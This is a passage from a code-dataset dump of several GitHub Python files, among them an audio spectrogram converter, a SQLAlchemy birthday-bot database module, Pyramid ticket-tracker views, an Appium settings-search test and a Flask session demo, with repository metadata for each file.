"line_number": 163, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 166, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 189, "usage_type": "name"}, {"api_name": "math.radians", "line_number": 194, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 195, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 195, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 198, "usage_type": "name"}, {"api_name": "codable.Codable", "line_number": 215, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 235, "usage_type": "name"}, {"api_name": "codable.KeyDescriptor", "line_number": 240, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 238, "usage_type": "name"}, {"api_name": "codable.KeyDescriptor", "line_number": 238, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 250, "usage_type": "name"}, {"api_name": "typing_extensions.Self", "line_number": 251, "usage_type": "name"}, {"api_name": "classes_format.ImageDatasetClasses", "line_number": 280, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 294, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 294, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 305, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 305, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 280, "usage_type": "attribute"}]} +{"seq_id": "71330414998", "text": "import scipy.io.wavfile as wavfile\nfrom scipy.signal import hamming\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom stft import STFT\n\ndef wav_to_image(filename, wlen, mindata, maxdata, save=False, name_save=None, ):\n\th = wlen/4\n\tK = np.sum(hamming(wlen, False))/wlen\n\n\tnfft = int(2**(np.ceil(np.log2(wlen))))\n\tFs, data_seq = wavfile.read(filename) \n\traw_data = data_seq.astype('float32')\n\tmax_dt = np.amax(np.absolute(raw_data))\n\traw_data = raw_data/max_dt\n\tstft_data,_,_ = STFT(raw_data,wlen,h,nfft,Fs)\n\ts = abs(stft_data)/wlen/K;\n\tif np.fmod(nfft,2):\n\t s[1:,:] *=2\n\telse:\n\t s[1:-2] *=2 \n\tdata_temp = 20*np.log10(s + 10**-6)\n\toutdata = data_temp.transpose()\n\n\t\"\"\"Scaling\"\"\"\n\tmindata = np.amin(outdata, axis=0, keepdims = True)\n\tmaxdata = np.amax(outdata, axis=0, keepdims = True)\n\toutdata -=mindata\n\toutdata /=(maxdata-mindata)\n\toutdata *=0.8\n\toutdata +=0.1\n\tfigmin = np.zeros((5,outdata.shape[1]))\n\tfigmax = np.ones((5,outdata.shape[1]))\n\toutdata = np.concatenate((outdata,figmin,figmax), axis=0)\n\n\tdpi = 96\n\ta = float(outdata.shape[0])/dpi\n\tb = float(outdata.shape[1])/dpi\n\n\tf = plt.figure(figsize=(b,a), dpi=dpi)\n\tf.figimage(outdata)\n\tif save:\n\t\tf.savefig(name_save, dpi=f.dpi)\n\treturn f", "repo_name": "Fhrozen/jrm_ssl", "sub_path": "python_utils/audio_image.py", "file_name": "audio_image.py", "file_ext": "py", "file_size_in_byte": 1212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.sum", "line_number": 9, "usage_type": "call"}, {"api_name": "scipy.signal.hamming", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 11, "usage_type": "call"}, {"api_name": "scipy.io.wavfile.read", "line_number": 12, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.amax", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 14, "usage_type": "call"}, {"api_name": "stft.STFT", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.fmod", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}]} +{"seq_id": "74939301716", "text": "from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine\nfrom sqlalchemy.orm import declarative_base, sessionmaker\nfrom sqlalchemy import Column, Integer, String, select, Date, delete, update, extract, Time\nimport datetime\n\nBase = declarative_base()\nengine = create_async_engine('mysql+aiomysql://user:password@host/db')\nasync_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)\n\n\nclass Users(Base):\n __tablename__ = 'users'\n id = Column(Integer, primary_key=True)\n userid = Column(String(50), default='0')\n time = Column(Time, default=datetime.time(15, 0))\n\n\nclass Birthdays(Base):\n __tablename__ = 'birthdays'\n id = Column(Integer, primary_key=True)\n userid = Column(String(50), default='0')\n date = Column(Date, default=datetime.date.today())\n name = Column(String(100), default='noname')\n\n\nasync def create_database():\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n\nasync def add_user(userid):\n async with async_session() as session:\n async with session.begin():\n user = Users(userid=userid)\n session.add(user)\n await session.commit()\n\n\nasync def add_birthday(userid, date, name):\n async with async_session() as session:\n async with session.begin():\n birthday = Birthdays(userid=userid, date=date, name=name)\n session.add(birthday)\n await session.commit()\n\n\nasync def get_id_on_userid(userid):\n async with async_session() as session:\n return (await session.execute(select(Users.id).where(Users.userid == userid))).scalars().all()\n\n\nasync def get_time_on_userid(userid):\n async with async_session() as session:\n return (await session.execute(select(Users.time).where(Users.userid == userid))).scalars().all()\n\n\nasync def get_dates_on_userid(userid):\n async with async_session() as session:\n return (await session.execute(select(Birthdays.date).where(Birthdays.userid == userid))).scalars().all()\n\n\nasync def get_names_on_userid(userid):\n async with async_session() as session:\n return (await session.execute(select(Birthdays.name).where(Birthdays.userid == userid))).scalars().all()\n\n\nasync def get_birthday_on_userid(userid):\n async with async_session() as session:\n return (await session.execute(select(Birthdays.id).where(Birthdays.userid == userid))).scalars().all()\n\nasync def get_dates():\n async with async_session() as session:\n return (await session.execute(select(Birthdays.date))).scalars().all()\n\n\nasync def get_names():\n async with async_session() as session:\n return (await session.execute(select(Birthdays.name))).scalars().all()\n\n\nasync def get_userid():\n async with async_session() as session:\n return (await session.execute(select(Birthdays.userid))).scalars().all()\n\nasync def get_birthday_on_userid_sorted(userid):\n async with AsyncSession(engine) as session:\n # Создаем сессию\n async with session.begin():\n # Создаем запрос для выбора даты и идентификатора\n stmt = select(Birthdays.id).where(Birthdays.userid == userid).order_by(extract('month', Birthdays.date),\n extract('day', Birthdays.date))\n result = await session.execute(stmt)\n\n # Извлекаем идентификаторы\n ids = [row[0] for row in result.fetchall()]\n\n # Возвращаем список идентификаторов\n return ids\n\n\nasync def delete_birthday(id):\n async with async_session() as session:\n await session.execute(delete(Birthdays).where(Birthdays.id == id))\n await session.commit()\n\n\nasync def update_time(userid, time):\n async with async_session() as session:\n async with session.begin():\n stmt = update(Users).where(Users.userid == userid).values(time=time)\n await session.execute(stmt)\n await session.commit()\n", "repo_name": "lanasbananas/birthdays_bot", "sub_path": "database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 4031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sqlalchemy.orm.declarative_base", "line_number": 6, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.create_async_engine", "line_number": 7, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 8, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 13, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.Time", "line_number": 15, "usage_type": "argument"}, {"api_name": "datetime.time", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 20, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 22, "usage_type": "argument"}, {"api_name": "datetime.date.today", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 59, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 64, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 69, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 78, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 86, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 90, "usage_type": "call"}, {"api_name": "sqlalchemy.extract", "line_number": 90, "usage_type": "call"}, {"api_name": "sqlalchemy.extract", "line_number": 91, "usage_type": "call"}, {"api_name": "sqlalchemy.delete", "line_number": 103, "usage_type": "call"}, {"api_name": "sqlalchemy.update", "line_number": 110, "usage_type": "call"}]} +{"seq_id": "9449412785", "text": "import logging\nfrom pyramid.view import view_config, view_defaults\nfrom pyramid.security import remember, forget\nfrom pyramid.httpexceptions import HTTPFound\nfrom pyramid_simpleform import Form\nfrom js.tinymce import tinymce\nfrom js.jquery import jquery\nfrom js.jqueryui import jqueryui\nfrom js.bootstrap import bootstrap\nfrom .security import authenticate\nfrom . import schemas as s\nfrom . import models as m\nfrom .forms import FormRenderer\nfrom . import helpers as h\n\n@view_config(route_name='top', permission=\"viewer\", renderer=\"shirly:templates/index.mak\")\ndef index(request):\n user = request.authenticated_user\n projects = user.projects\n return dict(projects=[dict(\n id=p.id,\n project_name=p.project_name,\n ) for p in projects])\n\n@view_config(route_name=\"logout\")\ndef logout(request):\n redirect = HTTPFound(location=request.route_url('top'))\n headers = forget(request)\n redirect.headerlist.extend(headers)\n return redirect\n\n\nclass LoginView(object):\n def __init__(self, request):\n self.request = request\n\n @view_config(route_name='login', request_method=\"GET\", renderer='shirly:templates/login.mak')\n @view_config(context='pyramid.httpexceptions.HTTPForbidden', request_method=\"GET\", renderer='shirly:templates/login.mak')\n def login_form(self):\n return dict()\n\n @view_config(route_name='login', request_method=\"POST\", renderer='shirly:templates/login.mak')\n def login(self):\n logging.debug('login')\n identity = authenticate(self.request)\n if identity:\n headers = remember(self.request, identity)\n redirect = HTTPFound(location=self.request.route_url('top'))\n redirect.headerlist.extend(headers)\n return redirect\n\n logging.debug('login failed')\n \n return dict()\n\n@view_defaults(permission=\"viewer\")\nclass ProjectView(object):\n def __init__(self, request):\n self.request = request\n self.context = request.context\n\n @view_config(route_name=\"projects\", renderer=\"shirly:templates/projects.mak\", request_method=\"GET\")\n def collection_get(self):\n projects = self.context.query_project().all()\n #return dict(projects=[dict(id=project.id, project_name=project.project_name, description=project.description)\n # for project in projects])\n return dict(projects=projects)\n\n @view_config(route_name=\"project\", renderer=\"shirly:templates/project.mak\", request_method=\"GET\")\n def member_get(self):\n project_name = self.request.matchdict['project_name']\n project = self.context.query_project().filter_by(project_name=project_name).one()\n return dict(id=project.id,\n project_name=project.project_name,\n description=project.description,\n members=[dict(id=u.id, user_name=u.user_name) \n for u in project.users.values()],\n tickets=[dict(ticket_no=t.ticket_no, ticket_name=t.ticket_name) \n for t in project.tickets.values()])\n\n@view_defaults(permission=\"viewer\")\nclass TicketView(object):\n def __init__(self, request):\n self.request = request\n self.context = request.context\n jquery.need()\n jqueryui.need()\n tinymce.need()\n\n @view_config(route_name=\"project_tickets\", renderer=\"shirly:templates/tickets.mak\")\n def collection_get(self):\n project = self.context.project\n tickets = sorted(project.tickets.values(), key=lambda t: t.ticket_no)\n logging.debug(project.tickets)\n return dict(project=project, tickets=tickets)\n\n @view_config(route_name=\"project_ticket\", request_method=\"GET\", renderer=\"shirly:templates/ticket.mak\")\n def member_get(self):\n project = self.context.project\n t = self.context.ticket\n form = Form(self.request, schema=s.TicketSchema, obj=t)\n\n return dict(renderer=FormRenderer(form),\n project_name=project.project_name,\n ticket=t,\n members=[(u.id, u.user_name) for u in project.users.values()],\n ticket_no=t.ticket_no,\n ticket_name=t.ticket_name,\n reporter_name=t.reporter_name,\n status=t.status,\n owner_name=t.owner_name,\n description=t.description,\n reporter=t.reporter)\n\n\n @view_config(route_name=\"project_ticket\", request_method=\"POST\", request_param=\"update=Update\")\n def update_ticket(self):\n project = self.context.project\n ticket = self.context.ticket\n form = Form(self.request, schema=s.TicketSchema, obj=ticket)\n if form.validate():\n form.bind(ticket)\n return HTTPFound(location=h.ticket_url(self.request, ticket))\n @view_config(route_name=\"project_ticket\", request_method=\"POST\", request_param=\"operation=Reopen\")\n def reopen_ticket(self):\n t = self.context.ticket\n t.reopen()\n return HTTPFound(location=self.request.url)\n\n @view_config(route_name=\"project_ticket\", request_method=\"POST\", request_param=\"operation=Finish\")\n def finish_ticket(self):\n t = self.context.ticket\n t.finish()\n return HTTPFound(location=self.request.url)\n\n @view_config(route_name=\"project_ticket\", request_method=\"POST\", request_param=\"operation=Close\")\n def close_ticket(self):\n t = self.context.ticket\n t.close()\n return HTTPFound(location=self.request.url)\n\n @view_config(route_name=\"project_ticket\", request_method=\"POST\", request_param=\"operation=Assign\")\n def assign_ticket(self):\n project = self.context.project\n owner_id = int(self.request.params['owner'])\n member = project.members[owner_id]\n t = self.context.ticket\n t.assign(member)\n return HTTPFound(location=self.request.url)\n\n @view_config(route_name=\"project_ticket\", request_method=\"POST\", request_param=\"operation=Accept\")\n def accept_ticket(self):\n t = self.context.ticket\n t.accept()\n return HTTPFound(location=self.request.url)\n\n@view_defaults(permission=\"viewer\")\nclass TicketFormView(object):\n def __init__(self, request):\n self.request = request\n self.context = self.request.context\n jquery.need()\n jqueryui.need()\n tinymce.need()\n\n @view_config(route_name='project_new_ticket', request_method=\"GET\", renderer=\"shirly:templates/new_ticket.mak\")\n def get(self):\n project = self.context.project\n\n form = Form(self.request, schema=s.NewTicketSchema)\n members = [dict(id=m.id, user_name=m.user_name) for m in project.users.values()]\n return dict(renderer=FormRenderer(form),\n project_name=project.project_name,\n project_id=project.id,\n members=members)\n\n\n @view_config(route_name='project_new_ticket', request_method=\"POST\", renderer=\"shirly:templates/new_ticket.mak\")\n def post(self):\n project = self.context.project\n form = Form(self.request, schema=s.NewTicketSchema)\n if form.validate():\n ticket = form.bind(m.Ticket())\n ticket.reporter = self.context.member\n project.add_ticket(ticket)\n return HTTPFound(location=self.request.route_url('project_ticket', project_name=project.project_name, ticket_no=ticket.ticket_no))\n members = [dict(id=u.id, user_name=u.user_name) for u in project.users]\n return dict(renderer=FormRenderer(form),\n project_name=project.project_name,\n project_id=project.id,\n members=members)\n\n@view_defaults(permission=\"viewer\")\nclass ProjectFormView(object):\n def __init__(self, request):\n self.request = request\n self.context = request.context\n jquery.need()\n jqueryui.need()\n tinymce.need()\n\n @view_config(route_name='new_project', renderer='shirly:templates/new_project.mak', request_method=\"GET\")\n def get(self):\n form = Form(self.request, schema=s.NewProjectSchema)\n users = self.context.query_users().all()\n return dict(renderer=FormRenderer(form),\n users=[(u.id, u.user_name) for u in users])\n\n @view_config(route_name='new_project', renderer='shirly:templates/new_project.mak', request_method=\"POST\")\n def post(self):\n form = Form(self.request, schema=s.NewProjectSchema)\n if form.validate():\n project = form.bind(m.Project())\n users = self.context.query_users(in_=self.request.POST.getall('member'))\n for u in users:\n project.members[u.id] = m.Member(user=u)\n self.context.add_project(project)\n return HTTPFound('/')\n users = self.conext.query_users().all()\n return dict(renderer=FormRenderer(form),\n users=[(u.id, u.user_name) for u in users])\n\n@view_defaults(permission=\"viewer\")\nclass MilestoneView(object):\n def __init__(self, request):\n self.request = request\n self.context = self.request.context\n\n @view_config(route_name='project_milestones', renderer='shirly:templates/milestones.mak', request_method=\"GET\")\n def collection_get(self):\n project = self.context.project\n milestones = project.milestones\n return dict(project_name=project.project_name,\n milestones=[\n dict(id=m.id, milestone_name=m.milestone_name, description=m.description, due_date=m.due_date,\n ticket_count=len(m.tickets))\n for m in milestones\n ])\n\n@view_defaults(permission=\"viewer\")\nclass MilestoneFormView(object):\n def __init__(self, request):\n self.request = request\n self.context = self.request.context\n jquery.need()\n jqueryui.need()\n tinymce.need()\n\n @view_config(route_name='project_new_milestone', request_method=\"GET\", renderer=\"shirly:templates/new_milestone.mak\")\n def get(self):\n project = self.context.project\n\n form = Form(self.request, schema=s.NewMilestoneSchema)\n return dict(renderer=FormRenderer(form),\n project_name=project.project_name,\n project_id=project.id)\n\n\n @view_config(route_name='project_new_milestone', request_method=\"POST\", renderer=\"shirly:templates/new_milestone.mak\")\n def post(self):\n project = self.context.project\n form = Form(self.request, schema=s.NewMilestoneSchema)\n if form.validate():\n milestone = form.bind(m.Milestone())\n project.add_milestone(milestone)\n return HTTPFound(location=self.request.route_url('project_milestones', project_name=project.project_name))\n return dict(renderer=FormRenderer(form),\n project_name=project.project_name,\n project_id=project.id,\n )\n", "repo_name": "rebeccaframework/shirly", "sub_path": "src/shirly/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 10753, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pyramid.view.view_config", "line_number": 16, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 27, "usage_type": "call"}, {"api_name": "pyramid.security.forget", "line_number": 28, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 25, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 37, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 44, "usage_type": "call"}, {"api_name": "security.authenticate", "line_number": 45, "usage_type": "call"}, {"api_name": "pyramid.security.remember", "line_number": 47, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 48, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 52, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 42, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 62, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 69, "usage_type": "call"}, {"api_name": "pyramid.view.view_defaults", "line_number": 56, "usage_type": "call"}, {"api_name": "js.jquery.jquery.need", "line_number": 86, "usage_type": "call"}, {"api_name": "js.jquery.jquery", "line_number": 86, "usage_type": "name"}, {"api_name": "js.jqueryui.jqueryui.need", "line_number": 87, "usage_type": "call"}, {"api_name": "js.jqueryui.jqueryui", "line_number": 87, "usage_type": "name"}, {"api_name": "js.tinymce.tinymce.need", "line_number": 88, "usage_type": "call"}, {"api_name": "js.tinymce.tinymce", "line_number": 88, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 94, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 90, "usage_type": "call"}, {"api_name": "pyramid_simpleform.Form", "line_number": 101, "usage_type": "call"}, {"api_name": "forms.FormRenderer", "line_number": 103, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 97, "usage_type": "call"}, {"api_name": "pyramid_simpleform.Form", "line_number": 120, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 123, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 116, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 128, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 124, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 134, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 130, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 140, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 136, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 149, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 142, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 155, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 151, "usage_type": "call"}, {"api_name": "pyramid.view.view_defaults", "line_number": 81, "usage_type": "call"}, {"api_name": "js.jquery.jquery.need", "line_number": 162, "usage_type": "call"}, {"api_name": "js.jquery.jquery", "line_number": 162, "usage_type": "name"}, {"api_name": "js.jqueryui.jqueryui.need", "line_number": 163, "usage_type": "call"}, {"api_name": "js.jqueryui.jqueryui", "line_number": 163, "usage_type": "name"}, {"api_name": "js.tinymce.tinymce.need", "line_number": 164, "usage_type": "call"}, {"api_name": "js.tinymce.tinymce", "line_number": 164, "usage_type": "name"}, {"api_name": "pyramid_simpleform.Form", "line_number": 170, "usage_type": "call"}, {"api_name": "forms.FormRenderer", "line_number": 172, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 166, "usage_type": "call"}, {"api_name": "pyramid_simpleform.Form", "line_number": 181, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 186, "usage_type": "call"}, {"api_name": "forms.FormRenderer", "line_number": 188, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 178, "usage_type": "call"}, {"api_name": "pyramid.view.view_defaults", "line_number": 157, "usage_type": "call"}, {"api_name": "js.jquery.jquery.need", "line_number": 198, "usage_type": "call"}, {"api_name": "js.jquery.jquery", "line_number": 198, "usage_type": "name"}, {"api_name": "js.jqueryui.jqueryui.need", "line_number": 199, "usage_type": "call"}, {"api_name": "js.jqueryui.jqueryui", "line_number": 199, "usage_type": "name"}, {"api_name": "js.tinymce.tinymce.need", "line_number": 200, "usage_type": "call"}, {"api_name": "js.tinymce.tinymce", "line_number": 200, "usage_type": "name"}, {"api_name": "pyramid_simpleform.Form", "line_number": 204, "usage_type": "call"}, {"api_name": "forms.FormRenderer", "line_number": 206, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 202, "usage_type": "call"}, {"api_name": "pyramid_simpleform.Form", "line_number": 211, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 218, "usage_type": "call"}, {"api_name": "forms.FormRenderer", "line_number": 220, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 209, "usage_type": "call"}, {"api_name": "pyramid.view.view_defaults", "line_number": 193, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 229, "usage_type": "call"}, {"api_name": "pyramid.view.view_defaults", "line_number": 223, "usage_type": "call"}, {"api_name": "js.jquery.jquery.need", "line_number": 245, "usage_type": "call"}, {"api_name": "js.jquery.jquery", "line_number": 245, "usage_type": "name"}, {"api_name": "js.jqueryui.jqueryui.need", "line_number": 246, "usage_type": "call"}, {"api_name": "js.jqueryui.jqueryui", "line_number": 246, "usage_type": "name"}, {"api_name": "js.tinymce.tinymce.need", "line_number": 247, "usage_type": "call"}, {"api_name": "js.tinymce.tinymce", "line_number": 247, "usage_type": "name"}, {"api_name": "pyramid_simpleform.Form", "line_number": 253, "usage_type": "call"}, {"api_name": "forms.FormRenderer", "line_number": 254, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 249, "usage_type": "call"}, {"api_name": "pyramid_simpleform.Form", "line_number": 262, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 266, "usage_type": "call"}, {"api_name": "forms.FormRenderer", "line_number": 267, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 259, "usage_type": "call"}, {"api_name": "pyramid.view.view_defaults", "line_number": 240, "usage_type": "call"}]} +{"seq_id": "41792947892", "text": "from selenium.webdriver.common.by import By\n\nfrom base.base import Base\nfrom appium import webdriver\nimport pytest\nclass Test_searchBase:\n def setup_class(self):\n desired_caps = {}\n desired_caps['platformName'] = 'android'\n desired_caps['platformVersion'] = '5.1'\n desired_caps['deviceName'] = 'shoujiming'\n desired_caps['appPackage'] = 'com.android.settings'\n desired_caps['appActivity'] = '.Settings'\n self.driver = webdriver.Remote(\"http://127.0.0.1:4723/wd/hub\",desired_caps)#声明driver对象\n self.base_obj = Base(self.driver) # 实例化base类,原驱动带self所以现在也带\n # 抽出页面元素\n self.search_btn = (By.ID,\"com.android.settings:id/search\") # 搜索按钮\n # 输入框\n self.search_input = (By.ID, \"android:id/search_src_text\")\n # 结果列表\n self.results = (By.ID, \"com.android.settings:id/title\")\n\n def teardown_class(self):\n self.driver.quit()\n @pytest.fixture(scope='class',autouse=True) # 自动运行一次\n def click_search_btn(self):\n self.base_obj.click_element(self.search_btn) # 调用base类中的点击方法\n # 动态传入遍历执行数据\n @pytest.mark.parametrize(\"search_data,search_value\",[('1','休眠'),('m','MAC地址'),('w','WLAN直连')])\n def test_search_value(self,search_data,search_value):\n self.base_obj.send_element(self.search_input,search_data) # 输入内容\n result_data = self.base_obj.search_elements(self.results) # 搜索结果列表\n assert search_value in [i.text for i in result_data] # 与传入的预期文本对比断言\n\nif __name__ == \"__main__\":\n pytest.main(['test_search_base.py'])", "repo_name": "python342987903/Test_mobile", "sub_path": "Scripts/test_search_base.py", "file_name": "test_search_base.py", "file_ext": "py", "file_size_in_byte": 1720, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "appium.webdriver.Remote", "line_number": 14, "usage_type": "call"}, {"api_name": "appium.webdriver", "line_number": 14, "usage_type": "name"}, {"api_name": "base.base.Base", "line_number": 15, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 17, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 17, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 21, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 21, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 25, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 29, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pytest.main", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "14215885563", "text": "#!/usr/local/bin/python3\n# -*- coding: utf-8 -*-\n# @File : 01_request.py\n# @Author: heshan\n# @Date : 2020/3/22\n# @Desc : session 的用法\n\n\nfrom flask import Flask,session\n\n# 导入Flask类\n# __name__表示当前的模块名称\n# 模块名，flask以这个模块所在的目录为根目录，默认这个目录中的static为静态目录，templates为模板目录\napp = Flask(__name__)\n\n#flask默认把session数据保存到cookie中\n\n#设置session之前需要设置一个flask用到��密钥\napp.config[\"SECRET_KEY\"] = \"JKSADFJ;DSAKF;LKLDSA;FJJ\"\n\n@app.route('/login')\ndef login():\n #设置session数据\n session['name'] = \"python\"\n session['mobile'] = \"13588158899\"\n return \"login success\"\n\n\n@app.route('/index')\ndef index():\n #获取ession数据\n name = session.get(\"name\")\n return \"get success.the session is %s\" %(name)\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "repo_name": "heshan521521/flask", "sub_path": "08_session.py", "file_name": "08_session.py", "file_ext": "py", "file_size_in_byte": 903, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.session.get", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "8205500303", "text": "from myconfig import mypara\r\nimport numpy as np\r\nfrom copy import deepcopy\r\nimport matplotlib as mpl\r\nimport matplotlib.pylab as plt\r\nfrom matplotlib.ticker import MultipleLocator\r\nimport os\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.metrics import mean_absolute_error\r\nfrom my_tools import cal_ninoskill2, runmean\r\nfrom func_for_prediction import func_pre\r\n\r\nmpl.use(\"Agg\")\r\nplt.rc(\"font\", family=\"Arial\")\r\nmpl.rc(\"image\", cmap=\"RdYlBu_r\")\r\nplt.rcParams[\"xtick.direction\"] = \"in\"\r\nplt.rcParams[\"ytick.direction\"] = \"in\"\r\n\r\n\r\ndef file_name(file_dir):\r\n L = []\r\n for root, dirs, files in 